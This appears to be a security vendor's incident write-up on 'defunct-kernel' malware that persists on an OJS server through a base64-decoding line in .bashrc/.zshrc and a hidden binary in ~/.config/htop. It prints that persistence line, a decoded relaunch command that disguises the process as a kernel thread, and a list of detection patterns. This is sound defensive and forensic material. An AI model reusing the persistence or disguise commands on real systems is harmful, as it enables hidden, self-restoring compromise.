Technical Case7 minUpdated:

defunct-kernel malware on OJS: how to detect and remove it

Found 'SEED PRNG #defunct-kernel' in .bashrc or files in ~/.config/htop? A real case of persistent malware on an OJS server and how to remove it for good.

Published by OJS ONE

We have operated OJS since 2012, starting with version 2.4.

Technically reviewed on

In infrastructure security there is a particularly dangerous pattern: the server appears clean, the website continues to operate normally, yet the compromise is still active.

That is exactly what we encountered during a recent OJS One security audit of a production OJS installation.

The journal website was still online. There were no visible webshells in the public directory. No suspicious cron jobs appeared in the system. Core files did not show obvious modifications.

However, certain malicious directories kept reappearing every time they were removed.

That single detail changes the interpretation of the entire incident. When malware returns after being deleted, the issue is no longer just an infected file. The issue is active persistence.

Found this on your server? If .bashrc or .zshrc contain the line # DO NOT REMOVE THIS LINE. SEED PRNG. #defunct-kernel, or ~/.config/htop/defunct and defunct.dat exist, the server is compromised even if the journal loads normally. The free OJS compromise scan checks the site's public signals, but this persistence lives outside the site: ask OJS ONE's cybersecurity team for incident response to review the whole server, rotate credentials and decide whether to clean or rebuild.

The Mistake of Auditing Only the Website

In many OJS incidents, the review is limited to:

  • scanning public_html or the webroot
  • searching for malicious PHP files
  • checking cron jobs
  • confirming that the journal website still loads

That approach is no longer sufficient.

The most dangerous compromises often do not live inside the website itself. Instead, they operate outside the public tree: within the system user environment, hidden directories, or shell initialization scripts that execute automatically whenever a shell session starts.

The result is a server that appears stable while remaining compromised from the inside.

The Actual Source of Persistence

In this case, the persistence mechanism was located in the server user’s shell environment.

While reviewing shell initialization files we discovered a suspicious line in:

~/.bashrc
~/.zshrc

The line followed a familiar pattern:

# DO NOT REMOVE THIS LINE. SEED PRNG. #defunct-kernel
{ echo BASE64_PAYLOAD | base64 -d | bash; } 2>/dev/null

This is a classic persistence technique using a base64-encoded payload.

Every time the shell initializes:

  1. the payload is decoded
  2. the script executes automatically
  3. the malware process is recreated if it had been removed

In other words, even if an administrator deletes malicious files from the server, the infection can reinstall itself automatically during the next shell initialization.

What the Payload Actually Did

After decoding the base64 payload, we found a small but effective script designed to restore a hidden process:

/usr/bin/pkill -0 -U1213 defunct 2>/dev/null || (TERM=xterm-256color GS_ARGS="-k /home/USER/.config/htop/defunct.dat -liqD" exec -a '[mm_percpu_wq]' '/home/USER/.config/htop/defunct')

Its logic was straightforward:

  1. check whether a process called defunct already exists
  2. if it does not exist, launch a hidden binary
  3. run that process under a disguised name:
[mm_percpu_wq]

This name mimics legitimate Linux kernel worker threads, allowing the process to blend in when viewed with tools like ps, top, or superficial operational checks.

This is not noise or a rare anomaly. It is a deliberate persistence pattern designed to remain unnoticed on compromised Linux servers.

Where the Malware Actually Lived

The malicious binary was not located in the website directory. It was hidden in a user configuration path:

~/.config/htop/defunct
~/.config/htop/defunct.dat

That explains why the server initially appeared clean:

  • .config is a hidden directory
  • it is outside the published website
  • many superficial audits never inspect it

For OJS infrastructure operators, the lesson is critical: the absence of malicious files in the webroot does not imply the absence of compromise.

The Attack’s Operational Pattern

The observed sequence matched a typical persistence strategy:

  1. initial access to the server
  2. installation of an automatic execution line in the user shell environment
  3. deployment of a hidden binary outside the webroot
  4. automatic recreation of the malicious process whenever it is removed

This allows the attacker’s foothold to survive even when someone attempts to “clean” the server by deleting visible malware.

What a Proper OJS Infrastructure Audit Should Examine

A serious OJS infrastructure audit cannot stop at the CMS or the webroot. At minimum it should include inspection of:

  • shell initialization files: ~/.bashrc, ~/.bash_profile, ~/.profile, ~/.zshrc
  • hidden user directories: ~/.config, ~/.local, ~/.cache, ~/bin
  • active processes and suspicious process names
  • persistent SSH access in ~/.ssh/authorized_keys
  • exposed services and the server’s real attack surface

Audits should also look for common persistence and obfuscation indicators such as:

base64 -d | bash
exec -a
defunct
mm_percpu_wq
eval
gzinflate

These patterns alone do not prove compromise, but they are frequent signals of persistence mechanisms and malicious execution chains.

Operational warning: Manually locating and deleting these files is only the first step. If an attacker achieved this level of persistence, there is a high probability that secondary backdoors, compromised databases, or even unpatched zero-day vulnerabilities still exist. Removing these files without a full forensic analysis can create a false sense of security, allowing the attacker to return weeks later.

How the Incident Was Remediated

The remediation involved multiple layers:

  1. removing the malicious lines from .bashrc and .zshrc
  2. deleting the hidden payload and binaries in ~/.config/htop/
  3. reviewing active processes to confirm persistence was terminated
  4. auditing persistent access in ~/.ssh/authorized_keys
  5. rotating system credentials
  6. applying additional server hardening measures

In deeper compromises, when the system’s integrity can no longer be guaranteed, the correct recommendation is not continued cleaning. The correct recommendation is migration to a clean server and infrastructure rebuild.

Implications for Journals Running OJS

This case is not just about malware. It is about operational judgment.

Many journals and universities assume that if the site loads normally and no suspicious PHP files appear in the public directory, the server must be clean. That assumption is overly optimistic.

A production OJS infrastructure audit must answer harder questions:

  • What processes are running outside the website?
  • What executes automatically during login or shell initialization?
  • Which hidden directories have never been inspected?
  • What persistence mechanisms could reinstall the threat?

If those questions are not addressed, the “cleanup” may be purely cosmetic.

Frequently Asked Questions

Can an OJS server remain compromised while the website works normally?

Yes. A functioning website does not prove server integrity. An attacker can maintain persistence outside the webroot without interrupting journal operations.

Is searching for webshells in public_html sufficient?

No. That is only one component of the review. Proper auditing must also examine running processes, hidden directories, SSH access, initialization scripts, and persistence mechanisms outside the website.

When is rebuilding safer than cleaning?

When system integrity cannot be guaranteed, when the compromise has been active for an extended period, or when multiple persistence vectors exist. In those cases, rebuilding on a clean server is typically the safer approach.

Conclusion

The central finding in this case was simple but critical: the site looked clean, but the server was not.

For that reason, at OJS One a security audit does not end when suspicious files disappear from the website directory. It ends when no active persistence mechanisms remain, credentials have been rotated, access paths have been audited, and the infrastructure can once again be trusted.

Because in editorial infrastructure, the key question is not whether the journal loads today.

The real question is whether the environment supporting it can still be trusted tomorrow.

If your OJS server shows any of these indicators, or the malware comes back after you delete it, request an OJS security audit or contact us for an urgent response.

Cybersecurity for OJS

Is your OJS patched and free of prior compromise?

We audit the installation, apply OJS and PHP patches with evidence, hunt for webshells and persistence, and respond if an incident has already happened.

  • OJS-specific audit and hardening
  • Patches with a tested restore
  • Incident response

Cybersecurity for OJS

Is your OJS patched and free of prior compromise?

We audit the installation, apply OJS and PHP patches with evidence, hunt for webshells and persistence, and respond if an incident has already happened.

Review my OJS

Share